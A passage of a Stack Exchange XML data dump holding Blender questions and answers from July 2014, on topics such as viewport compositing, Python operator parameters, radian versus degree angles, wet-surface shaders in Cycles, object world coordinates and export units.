6:32&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6NjTB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that replacing a 3D environment with a 2D image will not work with animations where there is parallax motion (translation of the camera).&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-09T00:46:23.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13862" PostTypeId="1" CreationDate="2014-07-09T02:32:27.803" Score="2" ViewCount="1997" Body="&lt;p&gt;I have made an object glow using nodes and cycles render. when I hit the render button in the properties panel it glows fine but when I go into the rendered view it won't glow. Is this even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered when render button is clicked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/oLgBdB0.png&quot; alt=&quot;Rendered when render button is clicked&quot; title=&quot;Rendered when render button is clicked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered in viewport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/If5Ukez.png&quot; alt=&quot;Rendered in render view&quot; title=&quot;Rendered in render view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5121" LastEditorUserId="599" LastEditDate="2014-07-09T06:41:16.417" LastActivityDate="2014-07-09T06:41:16.417" Title="Can compositing be displayed in the viewport render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13863" PostTypeId="2" ParentId="13862" CreationDate="2014-07-09T02:37:36.203" Score="3" Body="&lt;p&gt;No that can not be done. The compositer does not render in viewport. The viewport render is just a quick preview of the scene.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-09T02:37:36.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13864" PostTypeId="1" AcceptedAnswerId="14053" CreationDate="2014-07-09T07:15:57.537" Score="2" ViewCount="2280" Body="&lt;p&gt;I used a python template to create a menu which is populated by the names of files from the text editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class AnimMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Anim Menu&quot;&#xA;    bl_idname = &quot;OBJECT_MT_anim_menu&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        for txt in bpy.data.texts:&#xA;            if txt.name[-4:] =='.txt':&#xA;                layout.operator(&quot;object.anim_operator&quot;, text=txt.name).text_name = txt.name # from here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another operator should receive the filename as a parameter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class AnimOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.anim_operator&quot;&#xA;    bl_label = &quot;Pose Anim Operator&quot;&#xA;&#xA;    text_name = bpy.props.StringProperty(name=&quot;anim_text_name&quot;) # to there&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        txt = bpy.data.texts[ text ].as_string()&#xA;        main(context, text_name)&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to use this technique:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/2515/how-to-set-multiple-custom-attributes-to-operator-class-when-called-in-ui-layout&quot;&gt;How to set multiple custom attributes to operator class when called in UI layout?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;props = layout.operator(&quot;object.anim_operator&quot;, text=txt.name)&#xA;props.text_name = txt.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;leads to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AttributeError: 'OBJECT_OT_anim_operator' object has no attribute 'text_name'&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-07-14T20:44:02.390" Title="How can a parameter be passed from one operator to another?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13865" PostTypeId="1" AcceptedAnswerId="13867" CreationDate="2014-07-09T07:16:24.720" Score="2" ViewCount="592" Body="&lt;p&gt;Triggered by &lt;a href=&quot;https://blender.stackexchange.com/questions/13852/rotation-in-numbers-is-not-accurate-in-blender-2-71&quot;&gt;this question&lt;/a&gt; (unfortunately the OP didn't elaborate on the context), I'm puzzled now: &lt;strong&gt;which operations are done in radians and which in degrees?&lt;/strong&gt;&#xA;In the 3d window all navigation is in degrees (presuming the Units selected for the scene are indeed degrees), but from what I read, internally Blender is using Radians, leading to some confusion when setting drivers, constraints, modifiers or texture mapping. So far I haven't run into any issues but I'm just trying to understand the logic behind it.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2017-11-14T00:21:13.997" Title="Which operations are expecting input in radians and which in degrees?" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;drivers&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13866" PostTypeId="2" ParentId="13757" CreationDate="2014-07-09T07:17:40.483" Score="21" Body="&lt;p&gt;With some inspiration from the other answers I made an addon to show mesh information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;https://raw.githubusercontent.com/sambler/addonsByMe/master/mesh_summary.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;save this link&lt;/a&gt; to your addon folder or to somewhere convenient and use the Install from file button in the preferences. As awi's step of using bmesh to calculate the vertices after modifiers are applied takes some time in larger scenes, even without modifiers (a few seconds with a million verts scene) I have displaying that count as an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you enable the addon there is an option to set how many mesh objects are listed (default is 5). The list is sorted by the true vertex count so you can easily see what objects have the vertices. Also large numbers are nicely truncated with k,M,G suffixes to make for easier reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once enabled you can find the Mesh Information panel under scene properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tmZA9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tmZA9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2018-09-21T07:02:24.370" LastActivityDate="2018-09-21T07:02:24.370" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="13867" PostTypeId="2" ParentId="13865" CreationDate="2014-07-09T07:49:59.923" Score="1" Body="&lt;p&gt;It seems blender uses radians internally everywhere as of 2.70, except for a few cases listed in the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.70/More_Features#Angles%3a_Degrees_to_Radians_Internally&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender internally stores angles as radians (even though they are presented through UI as degrees), but in a few places degrees were still being stored, which added internal code clutter, and could generate bugs like &lt;a href=&quot;http://developer.blender.org/T32843&quot; rel=&quot;nofollow&quot;&gt;T32843&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here are affected properties:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Data&lt;/strong&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Lamp.spotsize:&#xA;  Game engine exposed this setting in degrees, to not break the API here I kept it as such (using getter/setter functions), still&#xA;  using radians internally.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Mesh.smoothresh:&#xA;  Didn’t touch to this one, as we will hopefully replace it completely by loop normals currently in dev. &#xA;  &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Modifiers&lt;/strong&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;EdgeSplitModifierData.split_angle, BevelModifierData.bevel_angle:&#xA;  Done. &lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Postprocessing&lt;/strong&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;WipeVars.angle (sequencer’s effect), NodeBokehImage.angle, NodeBoxMask.rotation, NodeEllipseMask.rotation:&#xA;  Done. &#xA;  &lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;BGE&lt;/strong&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;bConstraintActuator:&#xA;  Orientation type done (the minloc[0] &amp;amp; maxloc[0] cases). Did not touch to limit location type, it can also limit rotation, but it&#xA;  exposes through RNA the same limit_min/limit_max, which hence can be&#xA;  either distance or angle values, depending on the mode. Will leave&#xA;  this to BGE team.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;bSoundActuator.cone_outer_angle_3d, bSoundActuator.cone_inner_angle_3d:&#xA;  Done (note I kept degrees in BGE itself, as it seems this is the expected value here...).&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;bRadarSensor.angle:&#xA;  Done.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-09T07:49:59.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13868" PostTypeId="2" ParentId="13860" CreationDate="2014-07-09T08:06:13.867" Score="1" Body="&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to edge select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&amp;gt; Edge&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edges you want to cut. Border select works well (&lt;kbd&gt;B&lt;/kbd&gt;), or you can select a couple edges like the ones you want to select and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&amp;gt; Face Angles&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Subdivide&lt;/em&gt; and turn up the smoothness in the redo panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2PgH.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Note&lt;/h1&gt;&#xA;&lt;p&gt;I very much recommend working with quads instead, and using a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Triangulate&quot; rel=&quot;nofollow noreferrer&quot;&gt;triangulate modifier&lt;/a&gt; to non-destructively triangulate the mesh in realtime.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-09T08:06:13.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13869" PostTypeId="1" CreationDate="2014-07-09T08:56:48.577" Score="2" ViewCount="152" Body="&lt;p&gt;I would like to be able to export the cache from a referenced/linked group of objects. My problem is that even if each mesh of the referenced group exist in the outliner (in BlendfileData &gt; Objects), I can not select them. &#xA;In my blend file I have a character with different meshes (head, body, arms, etc) and its rig.&lt;/p&gt;&#xA;" OwnerUserId="4988" LastActivityDate="2014-07-09T08:56:48.577" Title="How to export point cache from linked group?" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13870" PostTypeId="1" AcceptedAnswerId="13871" CreationDate="2014-07-09T09:40:08.590" Score="6" ViewCount="10297" Body="&lt;p&gt;How do I see the object's world coordinates. I want to build a scene, view this scene with cameras at different locations and analize what I see. For this purpose, I want to be able to see where my camera and my objects are in the world and how far apart they are. Hence, I need their respective world coordinates and also it might be nice to be able to display the units/meters in the grid.&#xA;When I select an object, the location and rotation are all (0,0,0). This must be relative to some starting position of the object but not from the point (0,0,0) in the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where can I see an object's world coordinate?&lt;/li&gt;&#xA;&lt;li&gt;Can I display units in the grid?&lt;/li&gt;&#xA;&lt;li&gt;How would I be able to systematically change the position and orientation of the camera with discrete steps in some predefined intervals? Would that be done using animations?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5124" LastEditorDisplayName="user1853" LastEditDate="2014-07-10T14:58:53.893" LastActivityDate="2014-07-10T14:58:53.893" Title="World coordinates of objects" Tags="&lt;objects&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13871" PostTypeId="2" ParentId="13870" CreationDate="2014-07-09T09:48:43.980" Score="2" Body="&lt;p&gt;The location of an object is determined by the location of it's &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot; rel=&quot;nofollow&quot;&gt;Origin&lt;/a&gt;&lt;/em&gt;.&#xA;Most likely all your object origins are at &lt;code&gt;0,0,0&lt;/code&gt;, and not in the centers of your objects.&lt;br&gt;&#xA;To move the origins to your objects, select everything (&lt;kbd&gt;A&lt;/kbd&gt;) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Origin to geometry&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there is any native way to display units on the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure what you mean by &quot;systematically&quot;, but you could try &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow&quot;&gt;snapping&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-09T09:48:43.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13872" PostTypeId="1" AcceptedAnswerId="13902" CreationDate="2014-07-09T12:49:26.377" Score="1" ViewCount="2628" Body="&lt;p&gt;Although I'm new to blender, creating a simple mesh (e.g. cylinder) of specific dimensions is easy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I export the mesh, open it with meshlab and measure the dimensions, I keep getting the same cylinder with default dimensions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any step I'm missing (something like &quot;apply&quot;) before the export?&lt;/p&gt;&#xA;" OwnerUserId="5126" LastEditorUserId="5126" LastEditDate="2014-07-09T12:56:07.273" LastActivityDate="2014-07-10T08:30:45.177" Title="Exporting a mesh of specific dimensions" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;export&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13873" PostTypeId="1" CreationDate="2014-07-09T01:04:14.620" Score="1" ViewCount="87" Body="&lt;p&gt;For my blender model, I have an image of a half-sphere. On its face it is triangulated and I want to merge the triangles together so they are like the portion that the red arrow is pointing to.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mdMY4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried doing is first going to select on the bottom left, and then using circle select. I selected the areas and I tried doing many different things :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I tried pressing Alt M and I was given the choice of merging at center, at cursor, or collapse. None of these can give the function I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I tried pressing Connect (Select -&gt; Vertices -&gt; Connect (c)) and nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using this: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Editing/Vertices/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Editing/Vertices/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I should do?&lt;/p&gt;&#xA;" OwnerUserId="5120" OwnerDisplayName="user3550811" LastActivityDate="2014-07-09T12:55:52.237" Title="How to select and merge verticies into separate triangles?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13874" PostTypeId="2" ParentId="13855" CreationDate="2014-07-09T12:57:51.710" Score="1" Body="&lt;p&gt;You could use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Posing/Pose_Library&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pose Library&lt;/a&gt; to store and reassign as many poses as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;Pose Library&lt;/em&gt;  can also be shared among the rigs. Technically it is an &lt;em&gt;Action&lt;/em&gt;, thus it can also be edited in the &lt;em&gt;Action Editor&lt;/em&gt; mode of the &lt;em&gt;Dope Sheet&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0jGjt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-07-09T19:03:53.633" LastActivityDate="2014-07-09T19:03:53.633" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13875" PostTypeId="1" AcceptedAnswerId="13884" CreationDate="2014-07-09T13:25:24.733" Score="10" ViewCount="20321" Body="&lt;p&gt;I am trying to recreate a wet road with lights reflecting off of it.&#xA;I started by making the object glossy but this did not give a very realistic look&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sV87r.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I think I need to increase the specularity of the reflection to make it look more real but I can't find this option anywhere in cycles. Also what other techniques can I use to make a surface look wet in blender? I can link directly due to licening but &lt;a href=&quot;https://www.google.com.au/search?q=wet+road+night&amp;amp;tbm=isch&amp;amp;tbs=isz:l&amp;amp;ei=XkG9U9HoLorHkQWT-oDoDw#q=wet+road+night&amp;amp;tbas=0&amp;amp;tbm=isch&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; is what I am trying to recreate.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-21T08:46:35.373" Title="How can I make a surface look wet in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13876" PostTypeId="2" ParentId="9367" CreationDate="2014-07-09T14:01:09.423" Score="2" Body="&lt;p&gt;Empties have no rest position. It is privilege of bones. &#xA;Bones can be used as Hooks targets. &#xA;All you have to do is replacing empties in your rig by bones and use them in pose mode.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-07-09T14:01:09.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13878" PostTypeId="2" ParentId="13875" CreationDate="2014-07-09T16:40:50.260" Score="7" Body="&lt;p&gt;I've manged to get a shader working.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lSJKS.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Here is the result that it produces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OFkeF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In more detail:&#xA;The key is to have a very low roughness value. also, it is hard to achieve realism without to correct amount of detail. The bump, spec and normal maps were created in crazy bump. Texture form &lt;a href=&quot;http://www.cgtextures.com&quot; rel=&quot;noreferrer&quot;&gt;http://www.cgtextures.com&lt;/a&gt;&#xA;The water puddles are a separate plane, with a glossy shader with a roughness of .08 on it.&#xA;Based of of blender gurus tutorial called secrets of realistic textureing.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-10T00:51:27.037" LastActivityDate="2014-07-10T00:51:27.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13879" PostTypeId="1" AcceptedAnswerId="13880" CreationDate="2014-07-09T16:55:13.223" Score="0" ViewCount="377" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUxQg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the render above, there is some weird fuzz on the side of the house, as well as some sort of spiky shade in the triangular area. I would like to know what causes that fuzz.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More importantly, I want to fix the triangular area shading error. It really ruins the look of the house. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another view of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lXqRe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix the fuzz shading and the shading error in the triangular part of the roof?&#xA;What is causing this? I already tried removing doubles and recalculating normals. The lighting is a combination of Environment Lighting of 0.760 and an Area Lamp shining directly on the front of the house.&lt;/p&gt;&#xA;" OwnerDisplayName="user5132" LastEditorUserId="241" LastEditDate="2014-07-09T17:09:25.633" LastActivityDate="2014-07-09T17:09:25.633" Title="Weird fuzz/shading error on a render of a house model. Help?" Tags="&lt;rendering&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-07-09T23:47:19.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="13880" PostTypeId="2" ParentId="13879" CreationDate="2014-07-09T17:03:30.490" Score="1" Body="&lt;p&gt;The problem on the triangle of your house is that there are intersecting meshes. To fix the issue, go into edit mode and hit &lt;kbd&gt;W&lt;/kbd&gt;&gt;Remove Doubles. also make sure that you don't have an duplicate objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the noise, change this setting:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R4IHQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The higher you set it, the less noise you will get, and the longer your render-times will become.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-09T17:03:30.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13881" PostTypeId="2" ParentId="13860" CreationDate="2014-07-09T17:07:15.560" Score="1" Body="&lt;p&gt;By my count, the part of the sphere in which you have consolidated the triangles into quads amounts to 1/8 of the sphere. I would delete the other 7/8 of the sphere, and use an array modifier to add 7 more instances, and then apply the modifier to achieve what you are wanting to do. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-07-09T17:07:15.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13882" PostTypeId="2" ParentId="13872" CreationDate="2014-07-09T17:49:24.647" Score="0" Body="&lt;p&gt;I think the mismatch that is giving you a challenge is between the default sizes of the dimensions. The default size of a unit in Blender is one meter. The default size of a unit of measurement in Meshlab is one centimeter. If you create a blender object that measures 4 blender units in one dimension, and 2 blender units in another, when imported to meshlab, it will be 4 centimeters in one dimension, and two centimeters in the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You either need to account for the difference in sizes when you create your model, or change the units in Blender so that one grid square is one centimeter, instead of one meter.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-07-09T17:49:24.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13883" PostTypeId="2" ParentId="13870" CreationDate="2014-07-09T18:25:20.923" Score="1" Body="&lt;p&gt;Gandalf3 has done a good job of answering your questions, but I'll share a work-around I developed for the challenges the second question posed: I use &quot;helper geometry&quot;. Helper geometry consists of objects I use as an aid to making a particular model. These objects include place markers, label holders, and modeling tools. Place markers and label holders are self explanatory; an example of a modeling tool would be in the circumstance where I want two objects to be a designated distance apart, say 8.235 blender units, but the distance is not parallel to the x, the y, or the z axis. In this instance I might create a plane mesh that is 8.235 blender units in one dimension, place it so that one edge of the plane is at the first point, and orient the plane in the direction I want to measure the distance, and then locate the other object at the edge opposite the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help me remember the locations of objects in the grid, I'd create an object of suitable size. In the case of an object to remember the location of camera 1, it would probably be a cylinder of very small diameter, named &quot;camera1location&quot;. As long as I don't apply the location transformation to helper geometry, I can read the co-ordinates of the item in the properties window, object tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep my modeling projects orderly, I place all cameras and lamps in layer 1; all helper geometry in layer 2, and do my modeling in layers 3 through 20.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-07-09T20:05:01.083" LastActivityDate="2014-07-09T20:05:01.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13884" PostTypeId="2" ParentId="13875" CreationDate="2014-07-09T18:55:30.337" Score="16" Body="&lt;p&gt;You need larger bumps. Using only the roughness from the glossy shader gives too smooth a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a very quick setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sAnNN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The diffuse node represents the asphalt/road underneath the water. By mixing this with a glossy node based on the IOR of water (~&lt;code&gt;1.33&lt;/code&gt;), it appears as if there is a thin film of specularly reflecting material (water) on top of a very bumpy diffuse material (road).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ij1dK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could use a bit more large variation (cracks and large features, etc.), so you may want to use an image texture instead.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-09T19:25:02.160" LastActivityDate="2014-07-09T19:25:02.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13885" PostTypeId="2" ParentId="13857" CreationDate="2014-07-09T19:39:51.280" Score="1" Body="&lt;p&gt;At &lt;code&gt;3:22&lt;/code&gt; he renders the scene by pressing &lt;kbd&gt;F12&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can render by&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;kbd&gt;F12&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;em&gt;Render image&lt;/em&gt; in &lt;em&gt;Info header &gt; Render&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gTMBS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;em&gt;Render&lt;/em&gt; in &lt;em&gt;Properties &gt; Render settings &gt; Render&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YIbFT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-09T19:39:51.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13886" PostTypeId="2" ParentId="13857" CreationDate="2014-07-09T21:00:27.893" Score="1" Body="&lt;p&gt;You can also render without leaving the compositor by pressing the Camera icon in the Render Layers node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VI6JN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-07-09T21:00:27.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
